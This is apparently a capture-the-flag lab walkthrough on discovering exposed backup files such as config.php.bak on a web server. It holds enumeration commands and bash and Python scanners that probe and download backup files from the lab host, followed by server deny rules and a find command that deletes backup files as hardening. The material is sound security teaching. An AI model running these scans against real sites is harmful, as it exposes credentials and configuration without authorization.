A corporate portal stands before you, its login form mocking your attempts. But somewhere in the shadows of this web server, a developer left behind a trace of their work. A backup file, forgotten and exposed, waiting to reveal its secrets. Your mission: hunt down these digital breadcrumbs and extract the sensitive information they contain.
This challenge demonstrates how to discover and exploit exposed backup files on web servers, a common vulnerability found during penetration testing and security assessments.
Access the challenge at https://lab.hdna.me/138-backup-hunter to observe the target:
At this point, direct access appears blocked. We need to discover additional files or endpoints.
Web servers often contain backup files that developers or administrators create during maintenance:
The strategy is to enumerate common backup file patterns based on likely configuration files.
Test common backup file patterns manually by accessing URLs directly:
# Try common configuration file backups
https://lab.hdna.me/138-backup-hunter/config.php.bak
https://lab.hdna.me/138-backup-hunter/config.php.old
https://lab.hdna.me/138-backup-hunter/database.php.bak
https://lab.hdna.me/138-backup-hunter/settings.php~
https://lab.hdna.me/138-backup-hunter/admin.php.backupTesting these URLs reveals that config.php.bak is accessible and downloads a backup file.
Use Gobuster with a custom wordlist to automate backup file discovery:
# Create backup extensions wordlist
cat > backup-extensions.txt << EOF
.bak
.old
.backup
.save
.copy
~
.swp
.tmp
_backup
-old
EOF
# Run gobuster with extension enumeration
gobuster dir -u https://lab.hdna.me/138-backup-hunter/ \
-w /usr/share/wordlists/dirb/common.txt \
-x bak,old,backup,save,copy,swp,tmp \
-t 50
# Alternative: Test specific files
for ext in bak old backup save copy; do
curl -I "https://lab.hdna.me/138-backup-hunter/config.php.$ext"
doneffuf is another powerful tool for discovering backup files:
# Create common filenames list
cat > filenames.txt << EOF
config
credentials
database
settings
admin
db
conn
connection
EOF
# Fuzz with multiple extensions
ffuf -u https://lab.hdna.me/138-backup-hunter/FUZZ.php.FUZ2Z \
-w filenames.txt:FUZZ \
-w backup-extensions.txt:FUZ2Z \
-mc 200 \
-c
# The tool will discover config.php.bak returns HTTP 200Burp Suite can systematically test backup file patterns:
/138-backup-hunter/PAYLOADSimple shell script to test backup file patterns:
#!/bin/bash
BASE_URL="https://lab.hdna.me/138-backup-hunter"
FILES=("config" "credentials" "database" "settings" "admin")
EXTS=("bak" "old" "backup" "save" "copy" "~")
for file in "${FILES[@]}"; do
for ext in "${EXTS[@]}"; do
URL="$BASE_URL/$file.php.$ext"
STATUS=$(curl -s -o /dev/null -w "%{http_code}" "$URL")
if [ "$STATUS" -eq 200 ]; then
echo "[+] Found: $URL"
curl -s "$URL" -o "$file.php.$ext"
fi
done
doneOnce config.php.bak is downloaded, examine its contents:
cat config.php.bakThe backup file contains sensitive information:
The flag is stored in the $flag variable within the backup file.
This backup file exposure occurred because:
Method 1: WFuzz
wfuzz -c -z file,/usr/share/wordlists/dirb/common.txt \
--hc 404 \
https://lab.hdna.me/138-backup-hunter/FUZZ.php.bakMethod 2: Nikto Scanner
nikto -h https://lab.hdna.me/138-backup-hunter/ -Tuning xMethod 3: Custom Python Script
import requests
base_url = "https://lab.hdna.me/138-backup-hunter"
files = ["config", "credentials", "database", "settings"]
exts = ["bak", "old", "backup", "save", "copy", "~"]
for filename in files:
for ext in exts:
url = f"{base_url}/{filename}.php.{ext}"
response = requests.get(url)
if response.status_code == 200:
print(f"[+] Found: {url}")
print(response.text)To prevent backup file exposure in production environments:
# Block access to backup files
<FilesMatch "\.(bak|old|backup|save|copy|swp|tmp)$">
Order allow,deny
Deny from all
</FilesMatch>
# Block files ending with tilde
<FilesMatch "~$">
Order allow,deny
Deny from all
</FilesMatch>location ~ \.(bak|old|backup|save|copy|swp|tmp)$ {
deny all;
return 404;
}
location ~ ~$ {
deny all;
return 404;
}# .gitignore patterns
*.bak
*.old
*.backup
*.save
*.copy
*.swp
*.tmp
*~
# Deployment script to remove backup files
find /var/www/html -type f \( -name "*.bak" -o -name "*.old" \) -deleteCongratulations! You've successfully discovered and extracted sensitive information from an exposed backup file. This challenge demonstrates why proper file management and web server hardening are critical components of application security.
Choose how you want to get started
Choose a username to get started
We've sent a 9-character code to your email